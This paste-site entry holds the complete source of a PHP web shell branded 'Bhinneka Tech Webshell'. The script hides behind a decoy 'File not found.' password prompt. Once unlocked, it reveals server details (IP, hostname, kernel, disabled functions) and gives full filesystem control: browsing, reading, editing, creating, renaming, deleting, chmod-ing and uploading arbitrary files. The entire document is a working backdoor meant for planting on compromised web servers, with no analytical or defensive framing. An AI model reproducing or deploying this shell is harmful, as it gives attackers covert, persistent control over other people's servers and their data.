Untitled


SUBMITTED BY: Guest

DATE: Oct. 16, 2024, 11:24 a.m.

FORMAT: Text only

SIZE: 21.2 kB

HITS: 154

  1. <?php
  2. error_reporting(0);
  3. session_start();
  4. $password = '$2y$10$EoJEG7KBNBO0mTQ7Z0EEb.Mc/.5kJ94rtNMe8ossR5J3dbQd43skq';
  5. if (isset($_SESSION['auth_key'])) {
  6. echo "";
  7. } else {
  8. if (isset($_POST['password'])) {
  9. if (password_verify($_POST['password'], $password)) {
  10. $_SESSION['auth_key'] = password_hash($_POST['password'], PASSWORD_DEFAULT);
  11. }else {
  12. loginShell();
  13. }
  14. } else {
  15. loginShell();
  16. }
  17. }
  18. function info() {
  19. $arr = [
  20. 'ip' => $_SERVER['SERVER_ADDR'],
  21. 'host' => gethostname(),
  22. 'kernel' => php_uname(),
  23. 'disablefunc' => ini_get('disable_functions'),
  24. 'path' => getcwd(),
  25. 'os' => PHP_OS,
  26. ];
  27. return $arr;
  28. }
  29. $getInfo = info();
  30. if(strtoupper(substr($getInfo['os'], 0, 3)) == 'WIN') {
  31. $getInfo['os'] = 'Windows';
  32. $paths = explode('\\', $getInfo['path']);
  33. $paths = $paths[0] . '/';
  34. }else if(strtoupper(substr($getInfo['os'], 0, 3)) == 'LIN') {
  35. $getInfo['os'] = 'Linux';
  36. $paths = '/';
  37. }
  38. $dir = getcwd();
  39. if(isset($_GET['path'])) {
  40. $replace = str_replace('\\', '/', $_GET['path']);
  41. $replace = str_replace('//', '/', $_GET['path']);
  42. $pecah = explode('/', $replace);
  43. }else {
  44. $replace = str_replace('\\', '/', $dir);
  45. $pecah = explode('/', $replace);
  46. }
  47. function loginShell() {
  48. if(!isset($_SESSION['auth_key'])) {
  49. echo "File not found.<br><form method='POST'><input style='border: 0;' name='password' type='password'></form>";
  50. die();
  51. }
  52. }
  53. function cekPermission($filenya) {
  54. $perms = fileperms($filenya);
  55. switch ($perms & 0xF000) {
  56. case 0xC000: // socket
  57. $info = 's';
  58. break;
  59. case 0xA000: // symbolic link
  60. $info = 'l';
  61. break;
  62. case 0x8000: // regular
  63. $info = '-';
  64. break;
  65. case 0x6000: // block special
  66. $info = 'b';
  67. break;
  68. case 0x4000: // directory
  69. $info = 'd';
  70. break;
  71. case 0x2000: // character special
  72. $info = 'c';
  73. break;
  74. case 0x1000: // FIFO pipe
  75. $info = 'p';
  76. break;
  77. default:
  78. $info = 'u';
  79. }
  80. //Untuk Owner
  81. $info .= (($perms & 0x0100) ? 'r' : '-');
  82. $info .= (($perms & 0x0080) ? 'w' : '-');
  83. $info .= (($perms & 0x0040) ?
  84. (($perms & 0x0800) ? 's' : 'x' ) :
  85. (($perms & 0x0800) ? 'S' : '-'));
  86. //Untuk Group
  87. $info .= (($perms & 0x0020) ? 'r' : '-');
  88. $info .= (($perms & 0x0010) ? 'w' : '-');
  89. $info .= (($perms & 0x0008) ?
  90. (($perms & 0x0400) ? 's' : 'x' ) :
  91. (($perms & 0x0400) ? 'S' : '-'));
  92. //Untuk Other
  93. $info .= (($perms & 0x0004) ? 'r' : '-');
  94. $info .= (($perms & 0x0002) ? 'w' : '-');
  95. $info .= (($perms & 0x0001) ?
  96. (($perms & 0x0200) ? 't' : 'x' ) :
  97. (($perms & 0x0200) ? 'T' : '-'));
  98. return $info;
  99. }
  100. function hitungSize($fileSize) {
  101. $bytes = sprintf('%u', filesize($fileSize));
  102. if ($bytes > 0)
  103. {
  104. $unit = intval(log($bytes, 1024));
  105. $units = array('B', 'KB', 'MB', 'GB');
  106. if (array_key_exists($unit, $units) === true)
  107. {
  108. return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]);
  109. }
  110. }
  111. return $bytes;
  112. }
  113. function bungkus($obj) {
  114. $wrap = filter_var(htmlspecialchars(file_get_contents($obj)), FILTER_SANITIZE_STRING);
  115. return $wrap;
  116. }
  117. function deleteFolder($dirnya) {
  118. $files = array_diff(scandir($dirnya), array('.', '..'));
  119. foreach ($files as $file) {
  120. (is_dir("$dirnya/$file")) ? deleteFolder("$dirnya/$file") : unlink("$dirnya/$file");
  121. }
  122. return rmdir($dirnya);
  123. }
  124. function uploadFile($fileSementara, $fileUpload) {
  125. $terupload = move_uploaded_file($fileSementara, $fileUpload);
  126. if($terupload) {
  127. return true;
  128. }else {
  129. return false;
  130. }
  131. }
  132. function folder_exist($folder)
  133. {
  134. $path = realpath($folder);
  135. if($path !== false AND is_dir($path))
  136. {
  137. return true;
  138. }
  139. return false;
  140. }
  141. if(isset($_GET['path'])) {
  142. $get = $_GET['path'];
  143. $pec = explode('/', $get);
  144. if(is_file($get)) {
  145. $konten = bungkus($get);
  146. $cek = true;
  147. $listDir = scandir($get);
  148. }else {
  149. $listDir = array_diff(scandir($get), ['.', '..']);
  150. }
  151. }else {
  152. $get = $replace;
  153. $listDir = array_diff(scandir($get), ['.', '..']);
  154. }
  155. if(isset($_POST['pilihan'])) {
  156. switch ($_POST['pilihan']) {
  157. case $_POST['pilihan'] == 'edit':
  158. $edit = true;
  159. $dirFile = $_POST['dir'];
  160. $sourceFile = base64_encode($_POST['sourceFile']);
  161. if(!empty($sourceFile)){
  162. if(file_put_contents($dirFile, base64_decode($sourceFile))) {
  163. $successEdit = 'Berhasil di edit';
  164. }else {
  165. $successEdit = 'Gagal edit';
  166. }
  167. }
  168. break;
  169. case $_POST['pilihan'] == 'rename':
  170. $rename = true;
  171. $dirFile = $_POST['dir'];
  172. $filename = $_POST['namaFile'];
  173. $namaBaru = $_POST['namaBaru'];
  174. if(!empty($namaBaru)){
  175. if(rename($dirFile, $_GET['path'] . '/' . $namaBaru)) {
  176. $filename = $namaBaru;
  177. $dirFile = $_GET['path'] . '/' . $namaBaru;
  178. $successRename = 'Berhasil rename';
  179. }else {
  180. $successRename = 'Gagal rename';
  181. }
  182. }
  183. break;
  184. case $_POST['pilihan'] == 'delete':
  185. $dirFile = $_POST['dir'];
  186. $type = $_POST['type'];
  187. if(isset($dirFile) && is_file($dirFile)) {
  188. if(unlink($dirFile)) {
  189. $pesanHapus = "<script>
  190. alert('File berhasil dihapus!!');
  191. window.location.href = window.location.href;
  192. </script>";
  193. }else {
  194. $pesanHapus = "<script>
  195. alert('File gagal dihapus!!');
  196. window.location.href = window.location.href;
  197. </script>";
  198. }
  199. }else if(isset($dirFile) && is_dir($dirFile)) {
  200. //$dirFile = $dirFile . '/';
  201. if(deleteFolder($dirFile)) {
  202. $pesanHapus = "<script>
  203. alert('Folder berhasil dihapus!!');
  204. window.location.href = window.location.href;
  205. </script>";
  206. }else {
  207. $pesanHapus = "<script>
  208. alert('Folder gagal dihapus!!');
  209. window.location.href = window.location.href;
  210. </script>";
  211. }
  212. }
  213. break;
  214. case $_POST['pilihan'] == 'chmod':
  215. $chmod = true;
  216. $file = fileperms($_POST['dir']);
  217. $permission = substr(sprintf('%o', $file), -4);
  218. $dirFile = $_POST['dir'];
  219. $perms = octdec($_POST['perms']);
  220. if(isset($_POST['perms'])) {
  221. if(isset($perms)) {
  222. if(chmod($dirFile, $perms)) {
  223. $permission = decoct($perms);
  224. $successChmod ='Berhasil chmod!';
  225. }else {
  226. $successChmod = 'Gagal chmod!';
  227. }
  228. }
  229. }
  230. break;
  231. case $_POST['pilihan'] == 'create':
  232. $namaFile = "";
  233. $isiFile = "";
  234. $dirPath = $_GET['path'] . '/';
  235. if(isset($_POST['createAction'])) {
  236. $namaFile = $_POST['createName'];
  237. $isiFile = ($_POST['createIsi'] == NULL) ? ' ' : base64_encode($_POST['createIsi']);
  238. if(!file_exists($dirPath . $namaFile)) {
  239. if(file_put_contents($dirPath . $namaFile, base64_decode($isiFile))) {
  240. $pesanCreate = 'File berhasil dibuat';
  241. }else {
  242. $pesanCreate = 'Directory not Writable';
  243. }
  244. }else {
  245. $pesanCreate = 'Nama file / folder sudah ada';
  246. }
  247. }
  248. break;
  249. case $_POST['pilihan'] == 'createFolder':
  250. $dirPath = $_GET['path'] . '/';
  251. if(isset($_POST['createFolder'])) {
  252. $namaFolder = $_POST['createName'];
  253. if(mkdir($dirPath . $namaFolder)) {
  254. $pesanCreate = 'Folder berhasil dibuat';
  255. }else {
  256. if(is_dir($namaFolder)) {
  257. $pesanCreate = 'Nama Folder / File sudah ada';
  258. }elseif(!is_writable($dirPath)){
  259. $pesanCreate = 'Directory not writable';
  260. }
  261. }
  262. }
  263. break;
  264. case $_POST['pilihan'] == 'upload':
  265. $path = $replace;
  266. if(isset($_GET['path'])) {
  267. $path = $_GET['path'];
  268. }
  269. if(!empty($_FILES)) {
  270. if(uploadFile($_FILES['uploadFile']['tmp_name'], $path . '/' . $_FILES['uploadFile']['name'])) {
  271. echo "<script>
  272. alert('File berhasil diupload!!');
  273. window.location.href = window.location.href;
  274. </script>";
  275. }else {
  276. echo "<script>
  277. alert('File gagal diupload!!');
  278. window.location.href = window.location.href;
  279. </script>";
  280. }
  281. }
  282. break;
  283. }
  284. }
  285. ?>
  286. <!DOCTYPE html>
  287. <html>
  288. <head>
  289. <title>Webshell Bhinneka Tech</title>
  290. </head>
  291. <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
  292. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">
  293. <meta name="viewport" content="width=1024">
  294. <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  295. <meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
  296. <style type="text/css">
  297. body {
  298. width: 100vw;
  299. height: 100px;
  300. overflow-x: hidden !important;
  301. }
  302. .info {
  303. display: block;
  304. width: 100%;
  305. }
  306. table.striped > tbody > tr:nth-child(odd) {
  307. background-color: rgba(170, 213, 213, 0.5);
  308. }
  309. nav {
  310. background-color: #42a5f5;
  311. }
  312. .select-wrapper {
  313. position: relative;
  314. width: 100px;
  315. display: inline-block;
  316. }
  317. .file-field .btn, .file-field .btn-large, .file-field .btn-small {
  318. float: inherit;
  319. height: 3rem;
  320. line-height: 3rem;
  321. }
  322. .select-wrapper .caret {
  323. right: auto !important;
  324. }
  325. .select-wrapper input.select-dropdown {
  326. width: 50%;
  327. }
  328. textarea {
  329. height: 50rem !important;
  330. overflow-y: scroll !important;
  331. height: 700px !important;
  332. }
  333. .maung {
  334. height: 700px !important;
  335. }
  336. table{
  337. width:100%;
  338. table-layout: fixed;
  339. overflow-wrap: break-word;
  340. }
  341. @media screen and (max-width: 732px) {
  342. .navbar-text {
  343. font-size: 25px !important;
  344. width: 280px !important;
  345. }
  346. }
  347. </style>
  348. <body>
  349. <div class="content">
  350. <nav>
  351. <div class="container">
  352. <div class="nav-wrapper">
  353. <a href="#" class="brand-logo center navbar-text">Bhinneka Tech Webshell</a>
  354. </div>
  355. </div>
  356. </nav>
  357. <div class="container" style="margin-top: 30px;">
  358. <b class="info">Server IP : <?= $getInfo['ip']; ?></b>
  359. <b class="info">Hostname : <?= $getInfo['host']; ?></b>
  360. <b class="info">Kernel : <?= $getInfo['kernel']; ?></b>
  361. <b class="info">OS : <?= $getInfo['os']; ?></b>
  362. <b class="info">USER : <?= get_current_user(); ?></b>
  363. </div>
  364. <br>
  365. <?php if($cek){ ?>
  366. <div class="container">
  367. <div class="row">
  368. <div style="font-size: 17px;">
  369. <?php
  370. echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  371. for ($i = 1; $i < count($pecah); $i++) {
  372. $subpath = implode('/', array_slice($pecah, 1, $i));
  373. echo '/';
  374. echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  375. }
  376. ?>
  377. </div>
  378. <form class="col s12">
  379. <div class="row">
  380. <div class="input-field col s12">
  381. <textarea id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" disabled><?= $konten; ?></textarea>
  382. </div>
  383. </div>
  384. </form>
  385. </div>
  386. </div>
  387. <?php }else if($edit){ ?>
  388. <div class="container">
  389. <?php
  390. echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  391. for ($i = 1; $i < count($pecah); $i++) {
  392. $subpath = implode('/', array_slice($pecah, 1, $i));
  393. echo '/';
  394. echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  395. }
  396. ?>
  397. <?= !empty($successEdit) ? "<p class='blue-text text-darken-2'>" . $successEdit . "</p>" : ""; ?>
  398. <form method="POST">
  399. <input type="hidden" name="dir" value="<?= $dirFile; ?>">
  400. <input type="hidden" name="pilihan" value="edit">
  401. <div class="row">
  402. <form class="col s12">
  403. <div class="input-field col s12">
  404. <textarea name="sourceFile" id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" ><?= bungkus($dirFile); ?></textarea>
  405. <label for="textarea" class='active'>Edit File</label>
  406. <button class="btn waves-effect waves-light" type="submit" name="action">Edit</button>
  407. </form>
  408. </div>
  409. </form>
  410. </div>
  411. <?php }else if($rename){ ?>
  412. <div class="container">
  413. <?php
  414. echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  415. for ($i = 1; $i < count($pecah); $i++) {
  416. $subpath = implode('/', array_slice($pecah, 1, $i));
  417. echo '/';
  418. echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  419. }
  420. ?>
  421. <?= !empty($successRename) ? "<p class='blue-text text-darken-2'>" . $successRename . "</p>" : ""; ?>
  422. <form method="POST">
  423. <input type="hidden" name="dir" value="<?= $dirFile; ?>">
  424. <input type="hidden" name="pilihan" value="rename">
  425. <div class="row center-align">
  426. <div class="input-field col s12">
  427. <input value="<?= $filename; ?>" name="namaBaru" id="rename" type="text" class="validate">
  428. <label class="active" for="rename">Input disini:</label>
  429. <button class="btn waves-effect waves-light" type="submit" name="action">Rename</button>
  430. </div>
  431. </div>
  432. </form>
  433. </div>
  434. <?php }else if($chmod) { ?>
  435. <div class="container">
  436. <?php
  437. echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  438. for ($i = 1; $i < count($pecah); $i++) {
  439. $subpath = implode('/', array_slice($pecah, 1, $i));
  440. echo '/';
  441. echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  442. }
  443. ?>
  444. <?= !empty($successChmod) ? "<p class='blue-text text-darken-2'>" . $successChmod . "</p>" : ''; ?>
  445. <form method="POST">
  446. <input type="hidden" name="dir" value="<?= $dirFile; ?>">
  447. <input type="hidden" name="pilihan" value="chmod">
  448. <div class="row center-align">
  449. <div class="input-field col s12">
  450. <input value="<?= $permission; ?>" name="perms" id="chmod" type="text" class="validate">
  451. <label class="active" for="chmod">Input disini:</label>
  452. <button class="btn waves-effect waves-light" type="submit" name="action">Chmod</button>
  453. </div>
  454. </div>
  455. </form>
  456. </div>
  457. <?php }else if(isset($_GET['create'])){ ?>
  458. <br>
  459. <div class="container">
  460. <?php
  461. echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  462. for ($i = 1; $i < count($pecah); $i++) {
  463. $subpath = implode('/', array_slice($pecah, 1, $i));
  464. echo '/';
  465. echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  466. }
  467. ?>
  468. <?= !empty($pesanCreate) ? "<p class='blue-text text-darken-2'>" . $pesanCreate . "</p>" : ""; ?>
  469. <form method="POST">
  470. <input type="hidden" name="pilihan" value="create">
  471. <div class="row center-align">
  472. <div class="input-field col s12">
  473. <input name="createName" id="createFile" type="text" class="validate" value="<?= $namaFile; ?>">
  474. <label class="active" for="createFile">Nama File</label>
  475. <textarea name="createIsi" class="materialize-textarea"
  476. style="height: 400px; background-color: ghostwhite; overflow-y: scroll;"><?= base64_decode($isiFile); ?></textarea>
  477. <button class="btn waves-effect waves-light" type="submit" name="createAction">Create</button>
  478. </div>
  479. </div>
  480. </form>
  481. </div>
  482. <?php }else if(isset($_GET['createFolder'])){ ?>
  483. <div class="container">
  484. <?php
  485. echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  486. for ($i = 1; $i < count($pecah); $i++) {
  487. $subpath = implode('/', array_slice($pecah, 1, $i));
  488. echo '/';
  489. echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  490. }
  491. ?>
  492. <?= !empty($pesanCreate) ? "<p class='blue-text text-darken-2'>" . $pesanCreate . "</p>" : ""; ?>
  493. <form method="POST">
  494. <input type="hidden" name="pilihan" value="createFolder">
  495. <div class="row center-align">
  496. <div class="input-field col s12">
  497. <input name="createName" id="createFolder" type="text" class="validate" value="<?= $namaFolder; ?>">
  498. <label class="active" for="createFolder">Nama Folder</label>
  499. <button class="btn waves-effect waves-light" type="submit" name="createFolder">Create</button>
  500. </div>
  501. </div>
  502. </form>
  503. </div>
  504. <?php }else{ ?>
  505. <div class="container">
  506. <b class="info">
  507. <a href="?create&path=<?= isset($_GET['path']) ? $_GET['path'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light red"><i class="material-icons">add</i></a> <b>Add File&nbsp;&nbsp;&nbsp;</b>
  508. <a href="?createFolder&path=<?= isset($_GET['path']) ? $_GET['path'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light blue""><i class="material-icons">add</i></a> <b>Add Folder</b>
  509. <br>
  510. <b class="info">
  511. <form method="POST" enctype="multipart/form-data">
  512. <div class="file-field input-field">
  513. <div class="btn">
  514. <span>File</span>
  515. <input type="hidden" name="pilihan" value="upload">
  516. <input type="hidden" name="dir" value="<?= $_GET['path'] ?>">
  517. <input type="file" name="uploadFile">
  518. </div>
  519. <div class="file-path-wrapper">
  520. <input class="file-path validate" type="text" style="width: 300px">
  521. <button class="btn waves-effect waves-light" type="submit" name="actionUpload">Upload!
  522. </button>
  523. </div>
  524. </div>
  525. </form>
  526. </b>
  527. <!-- <div style="font-size: 18px;"> -->
  528. <div class="row"><div class="col s12" style="font-size: 18px;">
  529. PATH:
  530. <?php
  531. echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  532. for ($i = 1; $i < count($pecah); $i++) {
  533. $subpath = implode('/', array_slice($pecah, 1, $i));
  534. echo '/';
  535. echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  536. }
  537. ?>
  538. </div></div>
  539. </div>
  540. <div class="container">
  541. <table class="striped centered bordered">
  542. <?= !empty($pesanHapus) ? $pesanHapus : ''; ?>
  543. <thead>
  544. <tr>
  545. <th>Nama</th>
  546. <th>Size</th>
  547. <th>Permission</th>
  548. <th>Action</th>
  549. </tr>
  550. </thead>
  551. <?php foreach($listDir as $dir): ?>
  552. <tr>
  553. <td><a style="color: black;" href="?path=<?= str_replace([".", "//"], ["%2e", '/'], $get . '/' . $dir); ?>"><?= $dir; ?></a></td>
  554. <td><?= is_file($get . '/' . $dir) ? hitungSize($get . '/' . $dir) : 'Folders'; ?></td>
  555. <td><?= is_writable($get . '/' . $dir) ? '<font color="green">' . @cekPermission($get . '/' . $dir) . '</font>' : '<font color="red">' . @cekPermission($get . '/' . $dir) . '</font>';?></td>
  556. <td>
  557. <?php if(is_file($get . '/' . $dir)): ?>
  558. <form method="POST" action="?set&path=<?= $get; ?>">
  559. <center>
  560. <select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;">
  561. <option value="Select" disabled selected>Pilih</option>
  562. <option value="rename">Rename</option>
  563. <option value="edit">Edit</option>
  564. <option value="delete">Delete</option>
  565. <option value="chmod">Chmod</option>
  566. </select>
  567. </center>
  568. <input type="hidden" name="type" value="file">
  569. <input type="hidden" name="namaFile" value="<?= $dir; ?>">
  570. <input type="hidden" name="dir" value="<?= $get . '/' . $dir ?>">
  571. <button class="btn waves-effect waves-light" type="submit" name="action">
  572. <i class="material-icons right">send</i>
  573. </button>
  574. </form>
  575. <?php else: ?>
  576. <form method="POST" action="?set&path=<?= $get; ?>">
  577. <center>
  578. <select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;" name="pilihan">
  579. <option value="Select" disabled selected>Pilih</option>
  580. <option value="rename">Rename</option>
  581. <option value="delete">Delete</option>
  582. <option value="chmod">Chmod</option>
  583. </select>
  584. </center>
  585. <input type="hidden" name="type" value="folder">
  586. <input type="hidden" name="namaFile" value="<?= $dir; ?>">
  587. <input type="hidden" name="dir" value="<?= $get . '/' . $dir ?>">
  588. <button class="btn waves-effect waves-light" type="submit" name="action">
  589. <i class="material-icons right">send</i>
  590. </button>
  591. </form>
  592. <?php endif; ?>
  593. </td>
  594. </tr>
  595. <?php endforeach; ?>
  596. </table>
  597. </div>
  598. <?php } ?>
  599. </div>
  600. <footer id="footer" style="margin-top: 100px;">
  601. </footer>
  602. <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
  603. <script>
  604. var footer = document.querySelector("footer");
  605. function stopScrollAtFooter() {
  606. var footerHeight = footer.clientHeight;
  607. var contentHeight = document.body.scrollHeight;
  608. var scrollY = window.scrollY;
  609. if (scrollY + window.innerHeight >= contentHeight - footerHeight) {
  610. window.scrollTo(0, contentHeight - window.innerHeight);
  611. }
  612. }
  613. window.addEventListener("scroll", stopScrollAtFooter);
  614. document.addEventListener('DOMContentLoaded', function() {
  615. var elems = document.querySelectorAll('select');
  616. var instances = M.FormSelect.init(elems, {});
  617. });
  618. </script>
  619. </body>
  620. </html>

comments powered by Disqus